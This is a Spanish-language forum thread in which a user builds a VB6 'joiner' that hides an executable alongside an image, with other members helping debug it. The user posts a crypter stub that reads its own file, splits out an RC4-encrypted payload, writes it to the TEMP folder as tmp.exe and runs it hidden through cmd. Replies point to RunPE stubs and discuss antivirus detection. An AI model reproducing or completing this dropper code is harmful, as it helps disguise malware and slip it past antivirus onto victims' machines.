Autor
|
Tema: [Duda] Generar archivos ejecutables a partir de los bytes originales (Leído 3,690 veces)
|
mastercss
Desconectado
Mensajes: 36
|
Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema? Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche. http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.htmlDe momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer. Private Sub Command1_Click() With pp .DialogTitle = "Elige el primer archivo" .Filter = "Ejecutables|*.exe" .ShowOpen End With arcUno.Text = pp.FileName End Sub Private Sub Command2_Click() With pp .DialogTitle = "Elige el segundo archivo" .Filter = "Todo tipo de archivos|*" .ShowOpen End With arcDos.Text = pp.FileName End Sub Private Sub Command3_Click() Dim Data() As Byte Dim DataLon As Long Open arcUno For Binary Lock Read As 1 Open arcDos For Binary Lock Read As 2 Open byteRes For Binary Access Write As 3 DataLon = FileLen(arcUno) + Len(arcDos) ReDim Data(DataLon) As Byte Get #1, , Data Get #2, , Data Put #3, , Hex(Data(DataLon)) Close End Sub
|
|
« Última modificación: 27 Septiembre 2011, 07:17 am por mastercss »
|
En línea
|
|
|
|
x64core
Desconectado
Mensajes: 1.908
|
un joiner generalmente se hace un split a las cadenas o bytes que has de dejar una marca para separarlos aunque como me ah dicho Karcrack eso es vergonzoso y es verdad y tambien porque me ah dicho que los AVs detectan rapido los archivos "pegados"
|
|
|
En línea
|
|
|
|
Elemental Code
Desconectado
Mensajes: 622
Im beyond the system
|
para juntar un exe y una imagen es necesario un tercer pedacito de programa llamado stub. Se encarga de buscar en su propio codigo las dos partes y ejecutarlas. Existen con RUNPE y de extraccion. Busca en google
|
|
|
En línea
|
I CODE FOR $$$ Programo por $$$ Hago tareas, trabajos para la facultad, lo que sea en VB6.0 Mis programas
|
|
|
mastercss
Desconectado
Mensajes: 36
|
Ok haciendo mi crypter al final ams que un binder, tengo un epqueño problema en el stub, me da Run-Time error 9 Subscript out of range. A continuación pongo el code de mi stub. Option Explicit Sub Main() Dim Yo As String, Datos As String, sData() As String Yo = App.Path & "\" & App.EXEName & ".exe" Open Yo For Binary As #1 Datos = Space(LOF(1)) Get #1, , Datos Close #1 sData() = Split(Datos, "%%##%%") sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error Open Environ("TEMP") & "\tmp.exe" For Binary As #1 Put #1, , sData(1) Close #1 Shell Environ("ComSpec") & " /c start " & Environ("TEMP") & "\tmp.exe", vbHide End Sub Private Function RC4(ByVal expresion As String, ByVal password As String) As String Dim i As Integer, j As Integer, t As Integer, tmp As Integer, s(256) As Integer, k(256) As Integer Dim key() As Byte, byteArray() As Byte Dim i2 As Long key() = StrConv(password, vbFromUnicode) For i = 0 To 255 s(i) = i k(i) = key(i Mod Len(password)) Next i For i = 0 To 255 j = (j + s(i) + k(i)) Mod 256 tmp = s(i) s(i) = s(j) s(j) = tmp Next i byteArray() = StrConv(expresion, vbFromUnicode) i = 0 j = 0 For i2 = 0 To Len(expresion) - 1 i = (i + 1) Mod 256 j = (j + s(i)) Mod 256 tmp = s(i) s(i) = s(j) s(j) = tmp t = (s(i) + s(j)) Mod 256 byteArray(i2) = byteArray(i2) Xor s(t) Next i2 RC4 = StrConv(byteArray, vbUnicode) End Function
Gracias por adelantado
|
|
« Última modificación: 28 Septiembre 2011, 19:58 pm por mastercss »
|
En línea
|
|
|
|
ignorantev1.1
Desconectado
Mensajes: 617
/\ Así acabo cuando quiero programar...
|
Emmmm probablemente solo resulte un array con un elemento " sData(0)", ya sea porque en el archivo que tratas de abrir no está colocada dicha "firma": sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error
Antes de la linea de arriba prueba poniendo: Msgbox ubound(sData)
Y nos cuentas lo que resultó. Saludos!
|
|
|
En línea
|
|
|
|
mastercss
Desconectado
Mensajes: 36
|
Me sale un MsgBox con un 2. Si aydua de algo puedo poner el código del crypter tambien.
|
|
|
En línea
|
|
|
|
Elemental Code
Desconectado
Mensajes: 622
Im beyond the system
|
pone en otra variable el dato descifrado. sOrig = RC4(sData(1), "ma5t3r")
|
|
|
En línea
|
I CODE FOR $$$ Programo por $$$ Hago tareas, trabajos para la facultad, lo que sea en VB6.0 Mis programas
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
como generar codigos a partir de unos anteriores?
Ingeniería Inversa
|
armenio
|
5
|
3,372
|
20 Noviembre 2005, 11:23 am
por armenio
|
|
|
Generar un gif a partir de un vídeo
Multimedia
|
Stoya
|
8
|
7,634
|
3 Marzo 2012, 01:50 am
por Songoku
|
|
|
Generar clase en VB.net que permita calcular un punto a partir coordenadas
.NET (C#, VB.NET, ASP)
|
alejoz_arg
|
2
|
2,682
|
27 Noviembre 2012, 14:12 pm
por alejoz_arg
|
|
|
Generar varios archivos.txt cambiando su contenido a partir de otro archivo .dat
Scripting
|
eddergui
|
1
|
3,059
|
21 Enero 2016, 07:21 am
por explorer
|
|
|
Descargas originales de Windows 7, 8.1 y 10, mas los Offices a partir de 2007
« 1 2 »
Windows
|
Machacador
|
14
|
36,036
|
10 Marzo 2018, 17:06 pm
por Machacador
|
|